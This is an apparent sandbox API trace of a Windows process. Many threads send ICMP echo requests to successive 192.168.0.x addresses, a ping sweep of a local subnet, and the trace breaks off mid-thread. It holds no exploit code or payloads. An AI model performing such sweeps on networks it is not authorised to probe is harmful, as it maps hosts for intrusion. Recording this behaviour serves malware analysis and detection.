	[0193.042] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x577d30
	[0193.042] SetLastError (dwErrCode=0x57) 
	[0193.042] IcmpCreateFile () returned 0x5678c0
	[0193.345] IcmpSendEcho (in: IcmpHandle=0x5678c0, DestinationAddress=0x9e00a8c0, RequestData=0x1519f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1519f9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1519f9e0) returned 0x1
	[0197.011] IcmpCloseHandle (IcmpHandle=0x5678c0) returned 1
	[0197.011] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x577d30 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1309
	os_tid = 0x1a1c

	[0193.043] GetLastError () returned 0x57
	[0193.043] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x578100
	[0193.043] SetLastError (dwErrCode=0x57) 
	[0193.044] IcmpCreateFile () returned 0x567910
	[0193.346] IcmpSendEcho (IcmpHandle=0x567910, DestinationAddress=0x9f00a8c0, RequestData=0x158bf7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x158bf7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1310
	os_tid = 0x1a20

	[0193.044] GetLastError () returned 0x57
	[0193.044] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5784d0
	[0193.045] SetLastError (dwErrCode=0x57) 
	[0193.045] IcmpCreateFile () returned 0x567960
	[0193.350] IcmpSendEcho (IcmpHandle=0x567960, DestinationAddress=0xa000a8c0, RequestData=0x13cefe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13cefea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1311
	os_tid = 0x1a24

	[0193.046] GetLastError () returned 0x57
	[0193.047] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x580ba0
	[0193.050] SetLastError (dwErrCode=0x57) 
	[0193.050] IcmpCreateFile () returned 0x5679b0
	[0193.352] IcmpSendEcho (IcmpHandle=0x5679b0, DestinationAddress=0xa100a8c0, RequestData=0x1575f8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1575f8c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1312
	os_tid = 0x1a28

	[0193.050] GetLastError () returned 0x57
	[0193.050] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x580f70
	[0193.051] SetLastError (dwErrCode=0x57) 
	[0193.051] IcmpCreateFile () returned 0x567a00
	[0193.353] IcmpSendEcho (IcmpHandle=0x567a00, DestinationAddress=0xa200a8c0, RequestData=0x15a7fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15a7fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1313
	os_tid = 0x1a2c

	[0193.051] GetLastError () returned 0x57
	[0193.051] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x581340
	[0193.052] SetLastError (dwErrCode=0x57) 
	[0193.052] IcmpCreateFile () returned 0x567a50
	[0193.354] IcmpSendEcho (IcmpHandle=0x567a50, DestinationAddress=0xa300a8c0, RequestData=0x15cff780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15cff7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1314
	os_tid = 0x1a30

	[0193.052] GetLastError () returned 0x57
	[0193.053] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x581710
	[0193.053] SetLastError (dwErrCode=0x57) 
	[0193.053] IcmpCreateFile () returned 0x567aa0
	[0193.355] IcmpSendEcho (IcmpHandle=0x567aa0, DestinationAddress=0xa400a8c0, RequestData=0x15bffd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15bffd60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1315
	os_tid = 0x1a34

	[0193.530] GetLastError () returned 0x57
	[0193.530] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x581ae0
	[0193.530] SetLastError (dwErrCode=0x57) 
	[0193.530] IcmpCreateFile () returned 0x58ae30
	[0193.530] IcmpSendEcho (IcmpHandle=0x58ae30, DestinationAddress=0xa500a8c0, RequestData=0x15e7f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15e7f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1326
	os_tid = 0x1a60

	[0193.532] GetLastError () returned 0x57
	[0193.533] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x581eb0
	[0193.533] SetLastError (dwErrCode=0x57) 
	[0193.533] IcmpCreateFile () returned 0x58aed0
	[0193.533] IcmpSendEcho (IcmpHandle=0x58aed0, DestinationAddress=0xa600a8c0, RequestData=0x160bfb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x160bfb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1327
	os_tid = 0x1a64

	[0193.535] GetLastError () returned 0x57
	[0193.535] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x582280
	[0193.535] SetLastError (dwErrCode=0x57) 
	[0193.535] IcmpCreateFile () returned 0x58af70
	[0193.536] IcmpSendEcho (IcmpHandle=0x58af70, DestinationAddress=0xa700a8c0, RequestData=0x1632f820, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1632f840, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1328
	os_tid = 0x1a68

	[0193.537] GetLastError () returned 0x57
	[0193.538] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x582650
	[0193.538] SetLastError (dwErrCode=0x57) 
	[0193.538] IcmpCreateFile () returned 0x58b010
	[0193.538] IcmpSendEcho (IcmpHandle=0x58b010, DestinationAddress=0xa800a8c0, RequestData=0x1622f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1622f7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1329
	os_tid = 0x1a6c

	[0193.540] GetLastError () returned 0x57
	[0193.540] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x582a20
	[0193.540] SetLastError (dwErrCode=0x57) 
	[0193.540] IcmpCreateFile () returned 0x58b0b0
	[0193.540] IcmpSendEcho (IcmpHandle=0x58b0b0, DestinationAddress=0xa900a8c0, RequestData=0x14bcfb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14bcfb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1330
	os_tid = 0x1a70

	[0193.542] GetLastError () returned 0x57
	[0193.542] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x582df0
	[0193.543] SetLastError (dwErrCode=0x57) 
	[0193.543] IcmpCreateFile () returned 0x58b150
	[0193.543] IcmpSendEcho (IcmpHandle=0x58b150, DestinationAddress=0xaa00a8c0, RequestData=0x1645fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1645fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1331
	os_tid = 0x1a74

	[0193.544] GetLastError () returned 0x57
	[0193.545] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5831c0
	[0193.545] SetLastError (dwErrCode=0x57) 
	[0193.545] IcmpCreateFile () returned 0x58b1f0
	[0193.545] IcmpSendEcho (IcmpHandle=0x58b1f0, DestinationAddress=0xab00a8c0, RequestData=0x1658fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1658fde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1332
	os_tid = 0x1a78

	[0193.547] GetLastError () returned 0x57
	[0193.547] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x583590
	[0193.548] SetLastError (dwErrCode=0x57) 
	[0193.548] IcmpCreateFile () returned 0x58b290
	[0193.548] IcmpSendEcho (IcmpHandle=0x58b290, DestinationAddress=0xac00a8c0, RequestData=0x15f9f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15f9f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1333
	os_tid = 0x1a7c

	[0193.550] GetLastError () returned 0x57
	[0193.550] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x583960
	[0193.550] SetLastError (dwErrCode=0x57) 
	[0193.550] IcmpCreateFile () returned 0x58b330
	[0193.550] IcmpSendEcho (IcmpHandle=0x58b330, DestinationAddress=0xad00a8c0, RequestData=0x167efc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x167efc60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1334
	os_tid = 0x1a80

	[0193.552] GetLastError () returned 0x57
	[0193.552] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x583d30
	[0193.552] SetLastError (dwErrCode=0x57) 
	[0193.552] IcmpCreateFile () returned 0x58b3d0
	[0193.553] IcmpSendEcho (IcmpHandle=0x58b3d0, DestinationAddress=0xae00a8c0, RequestData=0x1691fa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1691fa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1335
	os_tid = 0x1a84

	[0193.554] GetLastError () returned 0x57
	[0193.555] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x584100
	[0193.555] SetLastError (dwErrCode=0x57) 
	[0193.555] IcmpCreateFile () returned 0x58b470
	[0193.555] IcmpSendEcho (IcmpHandle=0x58b470, DestinationAddress=0xaf00a8c0, RequestData=0x16b8fac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16b8fae0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1336
	os_tid = 0x1a88

	[0193.557] GetLastError () returned 0x57
	[0193.557] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5844d0
	[0193.557] SetLastError (dwErrCode=0x57) 
	[0193.558] IcmpCreateFile () returned 0x58b510
	[0193.558] IcmpSendEcho (IcmpHandle=0x58b510, DestinationAddress=0xb000a8c0, RequestData=0x16cdf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16cdf940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1337
	os_tid = 0x1a8c

	[0193.559] GetLastError () returned 0x57
	[0193.560] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58cc50
	[0193.562] SetLastError (dwErrCode=0x57) 
	[0193.562] IcmpCreateFile () returned 0x58b5b0
	[0193.562] IcmpSendEcho (IcmpHandle=0x58b5b0, DestinationAddress=0xb100a8c0, RequestData=0x1668fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1668fe80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1338
	os_tid = 0x1a90

	[0193.564] GetLastError () returned 0x57
	[0193.564] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58d020
	[0193.564] SetLastError (dwErrCode=0x57) 
	[0193.564] IcmpCreateFile () returned 0x58b650
	[0193.564] IcmpSendEcho (IcmpHandle=0x58b650, DestinationAddress=0xb200a8c0, RequestData=0x16a5f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16a5f940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1339
	os_tid = 0x1a94

	[0193.699] GetLastError () returned 0x57
	[0193.699] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58d3f0
	[0193.699] SetLastError (dwErrCode=0x57) 
	[0193.700] IcmpCreateFile () returned 0x58b6f0
	[0193.700] IcmpSendEcho (IcmpHandle=0x58b6f0, DestinationAddress=0xb300a8c0, RequestData=0x16e7f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16e7f880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1351
	os_tid = 0x1ac4

	[0193.702] GetLastError () returned 0x57
	[0193.702] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58d7c0
	[0193.702] SetLastError (dwErrCode=0x57) 
	[0193.702] IcmpCreateFile () returned 0x58b790
	[0193.702] IcmpSendEcho (IcmpHandle=0x58b790, DestinationAddress=0xb400a8c0, RequestData=0x1709fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1709fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1352
	os_tid = 0x1ac8

	[0193.704] GetLastError () returned 0x57
	[0193.704] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58db90
	[0193.705] SetLastError (dwErrCode=0x57) 
	[0193.705] IcmpCreateFile () returned 0x58b830
	[0193.705] IcmpSendEcho (IcmpHandle=0x58b830, DestinationAddress=0xb500a8c0, RequestData=0x171cf900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x171cf920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1353
	os_tid = 0x1acc

	[0193.707] GetLastError () returned 0x57
	[0193.707] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58df60
	[0193.707] SetLastError (dwErrCode=0x57) 
	[0193.708] IcmpCreateFile () returned 0x58b8d0
	[0193.708] IcmpSendEcho (IcmpHandle=0x58b8d0, DestinationAddress=0xb600a8c0, RequestData=0x1735fc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1735fc80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1354
	os_tid = 0x1ad0

	[0193.709] GetLastError () returned 0x57
	[0193.709] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58e330
	[0193.710] SetLastError (dwErrCode=0x57) 
	[0193.710] IcmpCreateFile () returned 0x58b970
	[0193.710] IcmpSendEcho (IcmpHandle=0x58b970, DestinationAddress=0xb700a8c0, RequestData=0x1754fd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1754fd40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1355
	os_tid = 0x1ad4

	[0193.712] GetLastError () returned 0x57
	[0193.712] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58e700
	[0193.712] SetLastError (dwErrCode=0x57) 
	[0193.712] IcmpCreateFile () returned 0x58ba10
	[0193.712] IcmpSendEcho (IcmpHandle=0x58ba10, DestinationAddress=0xb800a8c0, RequestData=0x1765f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1765f880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1356
	os_tid = 0x1ad8

	[0193.714] GetLastError () returned 0x57
	[0193.714] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58ead0
	[0193.715] SetLastError (dwErrCode=0x57) 
	[0193.715] IcmpCreateFile () returned 0x58bab0
	[0193.715] IcmpSendEcho (IcmpHandle=0x58bab0, DestinationAddress=0xb900a8c0, RequestData=0x1782fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1782fb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1357
	os_tid = 0x1adc

	[0193.716] GetLastError () returned 0x57
	[0193.717] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58eea0
	[0193.717] SetLastError (dwErrCode=0x57) 
	[0193.717] IcmpCreateFile () returned 0x58bb50
	[0193.717] IcmpSendEcho (IcmpHandle=0x58bb50, DestinationAddress=0xba00a8c0, RequestData=0x17a7fa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17a7fa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1358
	os_tid = 0x1ae0

	[0193.721] GetLastError () returned 0x57
	[0193.721] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58f270
	[0193.721] SetLastError (dwErrCode=0x57) 
	[0193.721] IcmpCreateFile () returned 0x598c50
	[0193.723] IcmpSendEcho (IcmpHandle=0x598c50, DestinationAddress=0xbb00a8c0, RequestData=0x17bafd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17bafda0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1359
	os_tid = 0x1ae4

	[0193.725] GetLastError () returned 0x57
	[0193.725] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58f640
	[0193.726] SetLastError (dwErrCode=0x57) 
	[0193.726] IcmpCreateFile () returned 0x598cf0
	[0193.726] IcmpSendEcho (IcmpHandle=0x598cf0, DestinationAddress=0xbc00a8c0, RequestData=0x17d5fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17d5fd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1360
	os_tid = 0x1ae8

	[0193.727] GetLastError () returned 0x57
	[0193.727] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58fa10
	[0193.728] SetLastError (dwErrCode=0x57) 
	[0193.728] IcmpCreateFile () returned 0x598d90
	[0193.728] IcmpSendEcho (IcmpHandle=0x598d90, DestinationAddress=0xbd00a8c0, RequestData=0x16f7fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x16f7fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1361
	os_tid = 0x1aec

	[0193.730] GetLastError () returned 0x57
	[0193.730] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x58fde0
	[0193.730] SetLastError (dwErrCode=0x57) 
	[0193.730] IcmpCreateFile () returned 0x598e30
	[0193.730] IcmpSendEcho (IcmpHandle=0x598e30, DestinationAddress=0xbe00a8c0, RequestData=0x17e7fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17e7fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1362
	os_tid = 0x1af0

	[0193.732] GetLastError () returned 0x57
	[0193.732] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5901b0
	[0193.732] SetLastError (dwErrCode=0x57) 
	[0193.732] IcmpCreateFile () returned 0x598ed0
	[0193.733] IcmpSendEcho (IcmpHandle=0x598ed0, DestinationAddress=0xbf00a8c0, RequestData=0x1809fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1809fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1363
	os_tid = 0x1af4

	[0193.734] GetLastError () returned 0x57
	[0193.734] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x590580
	[0193.735] SetLastError (dwErrCode=0x57) 
	[0193.735] IcmpCreateFile () returned 0x598f70
	[0193.735] IcmpSendEcho (IcmpHandle=0x598f70, DestinationAddress=0xc000a8c0, RequestData=0x1794fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1794fe80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1364
	os_tid = 0x1af8

	[0193.737] GetLastError () returned 0x57
	[0193.737] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x599c50
	[0193.739] SetLastError (dwErrCode=0x57) 
	[0193.739] IcmpCreateFile () returned 0x599010
	[0193.739] IcmpSendEcho (IcmpHandle=0x599010, DestinationAddress=0xc100a8c0, RequestData=0x17f9fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x17f9fd20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1365
	os_tid = 0x1afc

	[0193.741] GetLastError () returned 0x57
	[0193.741] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59a020
	[0193.741] SetLastError (dwErrCode=0x57) 
	[0193.742] IcmpCreateFile () returned 0x5990b0
	[0193.742] IcmpSendEcho (IcmpHandle=0x5990b0, DestinationAddress=0xc200a8c0, RequestData=0x182ffbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x182ffc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1366
	os_tid = 0x1b00

	[0193.743] GetLastError () returned 0x57
	[0193.743] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59a3f0
	[0193.744] SetLastError (dwErrCode=0x57) 
	[0193.744] IcmpCreateFile () returned 0x599150
	[0193.744] IcmpSendEcho (IcmpHandle=0x599150, DestinationAddress=0xc300a8c0, RequestData=0x1852fb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1852fb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1367
	os_tid = 0x1b04

	[0193.916] GetLastError () returned 0x57
	[0193.916] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x52ba70
	[0193.917] SetLastError (dwErrCode=0x57) 
	[0193.917] IcmpCreateFile () returned 0x5991f0
	[0193.917] IcmpSendEcho (IcmpHandle=0x5991f0, DestinationAddress=0xc400a8c0, RequestData=0x1863fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1863fcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1379
	os_tid = 0x1b34

	[0193.919] GetLastError () returned 0x57
	[0193.919] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59a7c0
	[0193.919] SetLastError (dwErrCode=0x57) 
	[0193.919] IcmpCreateFile () returned 0x599290
	[0193.919] IcmpSendEcho (IcmpHandle=0x599290, DestinationAddress=0xc500a8c0, RequestData=0x1878fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1878fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1380
	os_tid = 0x1b38

	[0193.921] GetLastError () returned 0x57
	[0193.921] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59ab90
	[0193.922] SetLastError (dwErrCode=0x57) 
	[0193.922] IcmpCreateFile () returned 0x599330
	[0193.922] IcmpSendEcho (IcmpHandle=0x599330, DestinationAddress=0xc600a8c0, RequestData=0x1842fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1842fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1381
	os_tid = 0x1b3c

	[0193.924] GetLastError () returned 0x57
	[0193.924] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59af60
	[0193.925] SetLastError (dwErrCode=0x57) 
	[0193.925] IcmpCreateFile () returned 0x5993d0
	[0193.925] IcmpSendEcho (IcmpHandle=0x5993d0, DestinationAddress=0xc700a8c0, RequestData=0x189df7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x189df7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1382
	os_tid = 0x1b40

	[0193.926] GetLastError () returned 0x57
	[0193.927] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59b330
	[0193.927] SetLastError (dwErrCode=0x57) 
	[0193.927] IcmpCreateFile () returned 0x599470
	[0193.927] IcmpSendEcho (IcmpHandle=0x599470, DestinationAddress=0xc800a8c0, RequestData=0x18b6f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18b6f920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1383
	os_tid = 0x1b44

	[0193.929] GetLastError () returned 0x57
	[0193.929] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59b700
	[0193.930] SetLastError (dwErrCode=0x57) 
	[0193.930] IcmpCreateFile () returned 0x599510
	[0193.930] IcmpSendEcho (IcmpHandle=0x599510, DestinationAddress=0xc900a8c0, RequestData=0x1819fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1819fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1384
	os_tid = 0x1b48

	[0193.931] GetLastError () returned 0x57
	[0193.931] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59bad0
	[0193.932] SetLastError (dwErrCode=0x57) 
	[0193.932] IcmpCreateFile () returned 0x5995b0
	[0193.932] IcmpSendEcho (IcmpHandle=0x5995b0, DestinationAddress=0xca00a8c0, RequestData=0x18d4f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18d4f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1385
	os_tid = 0x1b4c

	[0193.934] GetLastError () returned 0x57
	[0193.934] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59bea0
	[0193.934] SetLastError (dwErrCode=0x57) 
	[0193.934] IcmpCreateFile () returned 0x599650
	[0193.934] IcmpSendEcho (IcmpHandle=0x599650, DestinationAddress=0xcb00a8c0, RequestData=0x18e6f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18e6f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1386
	os_tid = 0x1b50

	[0193.937] GetLastError () returned 0x57
	[0193.937] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59c270
	[0193.937] SetLastError (dwErrCode=0x57) 
	[0193.937] IcmpCreateFile () returned 0x5996f0
	[0193.938] IcmpSendEcho (IcmpHandle=0x5996f0, DestinationAddress=0xcc00a8c0, RequestData=0x190ef900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x190ef920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1387
	os_tid = 0x1b54

	[0193.940] GetLastError () returned 0x57
	[0193.940] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59c640
	[0193.940] SetLastError (dwErrCode=0x57) 
	[0193.940] IcmpCreateFile () returned 0x599790
	[0193.940] IcmpSendEcho (IcmpHandle=0x599790, DestinationAddress=0xcd00a8c0, RequestData=0x1921fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1921fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1388
	os_tid = 0x1b58

	[0193.942] GetLastError () returned 0x57
	[0193.942] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59ca10
	[0193.943] SetLastError (dwErrCode=0x57) 
	[0193.943] IcmpCreateFile () returned 0x599830
	[0193.943] IcmpSendEcho (IcmpHandle=0x599830, DestinationAddress=0xce00a8c0, RequestData=0x1938fa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1938fa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1389
	os_tid = 0x1b5c

	[0193.944] GetLastError () returned 0x57
	[0193.945] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59cde0
	[0193.945] SetLastError (dwErrCode=0x57) 
	[0193.945] IcmpCreateFile () returned 0x5998d0
	[0193.945] IcmpSendEcho (IcmpHandle=0x5998d0, DestinationAddress=0xcf00a8c0, RequestData=0x18fefbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x18fefc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1390
	os_tid = 0x1b60

	[0193.947] GetLastError () returned 0x57
	[0193.947] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59d1b0
	[0193.947] SetLastError (dwErrCode=0x57) 
	[0193.947] IcmpCreateFile () returned 0x599970
	[0193.947] IcmpSendEcho (IcmpHandle=0x599970, DestinationAddress=0xd000a8c0, RequestData=0x194cfaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x194cfac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1391
	os_tid = 0x1b64

	[0193.949] GetLastError () returned 0x57
	[0193.949] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59d580
	[0193.950] SetLastError (dwErrCode=0x57) 
	[0193.950] IcmpCreateFile () returned 0x599a10
	[0193.950] IcmpSendEcho (IcmpHandle=0x599a10, DestinationAddress=0xd100a8c0, RequestData=0x196cfe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x196cfe40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1392
	os_tid = 0x1b68

	[0193.953] GetLastError () returned 0x57
	[0193.953] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59dc50
	[0193.956] SetLastError (dwErrCode=0x57) 
	[0193.956] IcmpCreateFile () returned 0x599ab0
	[0193.956] IcmpSendEcho (IcmpHandle=0x599ab0, DestinationAddress=0xd200a8c0, RequestData=0x188af840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x188af860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 1393
	os_tid = 0x1b6c

	[0194.086] GetLastError () returned 0x57
	[0194.086] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x59e020
	[0194.087] SetLastError (dwErrCode=0x57) 
